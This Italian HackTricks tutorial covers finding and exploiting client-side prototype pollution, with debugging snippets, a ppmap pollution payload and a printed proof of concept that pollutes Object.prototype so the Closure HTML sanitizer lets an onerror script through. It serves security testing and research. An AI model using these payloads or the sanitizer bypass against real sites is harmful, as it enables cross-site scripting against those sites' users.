Inquinamento del Prototype lato Client
Reading time: 5 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Scoprire utilizzando strumenti automatici
Gli strumenti https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap e https://github.com/kosmosec/proto-find possono essere utilizzati per trovare vulnerabilità di inquinamento del prototype.
Inoltre, puoi anche utilizzare l'estensione del browser PPScan per scansionare automaticamente le pagine che accedi per vulnerabilità di inquinamento del prototype.
Debugging dove viene utilizzata una proprietà
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})
Trovare la causa principale della Prototype Pollution
Una volta identificata una vulnerabilità di prototype pollution da uno degli strumenti, e se il codice non è eccessivamente complesso, potresti trovare la vulnerabilità cercando parole chiave come location.hash
, decodeURIComponent
o location.search
negli Strumenti per sviluppatori di Chrome. Questo approccio ti consente di individuare la sezione vulnerabile del codice JavaScript.
Per codebase più grandi e complesse, un metodo semplice per scoprire il codice vulnerabile prevede i seguenti passaggi:
- Usa uno strumento per identificare una vulnerabilità e ottenere un payload progettato per impostare una proprietà nel costruttore. Un esempio fornito da ppmap potrebbe apparire così:
constructor[prototype][ppmap]=reserved
. - Imposta un breakpoint sulla prima riga di codice JavaScript che verrà eseguita sulla pagina. Aggiorna la pagina con il payload, mettendo in pausa l'esecuzione a questo breakpoint.
- Mentre l'esecuzione di JavaScript è in pausa, esegui il seguente script nella console JS. Questo script segnalerà quando la proprietà 'ppmap' viene creata, aiutando a localizzarne l'origine:
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}
debugAccess(Object.prototype, "ppmap")
- Torna alla scheda Sources e seleziona “Resume script execution”. Il JavaScript continuerà a essere eseguito e la proprietà 'ppmap' sarà inquinata come previsto. Utilizzando il frammento fornito, è possibile identificare il luogo esatto in cui la proprietà 'ppmap' è inquinata. Esaminando lo Call Stack, è possibile osservare diversi stack in cui si è verificato l'inquinamento.
Quando si decide quale stack investigare, è spesso utile mirare agli stack associati ai file delle librerie JavaScript, poiché l'inquinamento del prototipo si verifica frequentemente all'interno di queste librerie. Identifica lo stack pertinente esaminando il suo attacco ai file delle librerie (visibile sul lato destro, simile a un'immagine fornita come guida). In scenari con più stack, come quelli alle righe 4 e 6, la scelta logica è lo stack alla riga 4, poiché rappresenta la prima occorrenza di inquinamento e quindi la causa principale della vulnerabilità. Cliccando sullo stack verrai indirizzato al codice vulnerabile.
Trovare Gadget di Script
Il gadget è il codice che sarà abusato una volta scoperta una vulnerabilità PP.
Se l'applicazione è semplice, possiamo cercare parole chiave come srcdoc/innerHTML/iframe/createElement
e rivedere il codice sorgente e controllare se porta all'esecuzione di javascript. A volte, le tecniche menzionate potrebbero non trovare affatto gadget. In tal caso, una revisione pura del codice sorgente rivela alcuni bei gadget come l'esempio qui sotto.
Esempio di Trovare gadget PP nel codice della libreria Mithil
Controlla questo writeup: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
Ricompilazione dei payload per librerie vulnerabili
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution
- https://github.com/BlackFan/client-side-prototype-pollution
Bypass dei Sanitizzatori HTML tramite PP
Questa ricerca mostra gadget PP da utilizzare per bypassare le sanificazioni fornite da alcune librerie di sanitizzatori HTML:
- sanitize-html
- dompurify
- Closure
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
Riferimenti
- https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746
- https://blog.s1r1us.ninja/research/PP
- https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.